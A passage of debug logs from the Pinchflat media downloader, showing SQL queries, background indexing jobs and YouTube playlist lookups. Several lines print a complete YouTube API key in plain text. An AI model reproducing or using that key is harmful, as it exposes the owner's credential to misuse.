short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:17:03.580 [debug] QUERY OK source="tasks" db=0.2ms idle=89.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799936, 13, ~U[2026-02-10 22:17:03Z], ~U[2026-02-10 22:17:03Z]] 16:17:03.580 [info] {"args":{"id":13},"id":3799898,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":90647,"event":"job:stop","queue_time":344575,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:03.608 [debug] QUERY OK source="media_items" db=0.4ms idle=28.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:17:03.609 [debug] QUERY OK source="media_items" db=0.3ms idle=28.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:17:03.610 [debug] QUERY OK source="tasks" db=0.0ms idle=23.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799937, 22, ~U[2026-02-10 22:17:03Z], ~U[2026-02-10 22:17:03Z]] 16:17:03.610 [info] {"args":{"id":22},"id":3799897,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141553,"event":"job:stop","queue_time":422544,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:05.363 [info] {"args":{"id":14},"id":3799899,"meta":{},"system_time":1770761825363766279,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:05.364 [debug] QUERY OK source="sources" db=0.1ms idle=485.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:17:05.364 [debug] QUERY OK source="settings" db=0.1ms idle=485.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:05.364 [debug] QUERY OK source="media_profiles" db=0.0ms idle=485.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:05.364 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:05.364 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:17:05.364 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:05.364 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:05.503 [debug] QUERY OK source="media_items" db=0.6ms idle=139.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 16:17:05.505 [debug] QUERY OK source="media_items" db=1.0ms idle=140.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:17:05.506 [debug] QUERY OK source="tasks" db=0.1ms idle=141.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799938, 14, ~U[2026-02-10 22:17:05Z], ~U[2026-02-10 22:17:05Z]] 16:17:05.506 [info] {"args":{"id":14},"id":3799899,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":142549,"event":"job:stop","queue_time":527222,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:06.364 [info] {"args":{"id":32},"id":3799900,"meta":{},"system_time":1770761826364642687,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:06.365 [debug] QUERY OK source="sources" db=0.1ms idle=858.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:17:06.365 [debug] QUERY OK source="settings" db=0.1ms idle=858.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:06.365 [debug] QUERY OK source="media_profiles" db=0.1ms idle=852.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:06.365 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:06.365 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:17:06.365 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:06.365 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:06.499 [debug] QUERY OK source="media_items" db=0.6ms idle=133.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 16:17:06.501 [debug] QUERY OK source="media_items" db=1.0ms idle=134.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:17:06.501 [debug] QUERY OK source="tasks" db=0.1ms idle=135.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799939, 32, ~U[2026-02-10 22:17:06Z], ~U[2026-02-10 22:17:06Z]] 16:17:06.502 [info] {"args":{"id":32},"id":3799900,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":137327,"event":"job:stop","queue_time":326027,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:07.365 [info] {"args":{"id":4},"id":3799901,"meta":{},"system_time":1770761827365680766,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:07.365 [info] {"args":{"id":24},"id":3799902,"meta":{},"system_time":1770761827365711013,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:07.366 [debug] QUERY OK source="sources" db=0.1ms idle=863.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:17:07.366 [debug] QUERY OK source="sources" db=0.1ms idle=863.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:17:07.366 [debug] QUERY OK source="settings" db=0.0ms idle=857.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:07.366 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:07.366 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:07.366 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:07.366 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:07.366 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:17:07.366 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:07.366 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:17:07.366 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:07.366 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:07.366 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:07.366 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:07.453 [debug] QUERY OK source="media_items" db=0.5ms idle=86.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 16:17:07.453 [debug] QUERY OK source="media_items" db=0.1ms idle=87.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 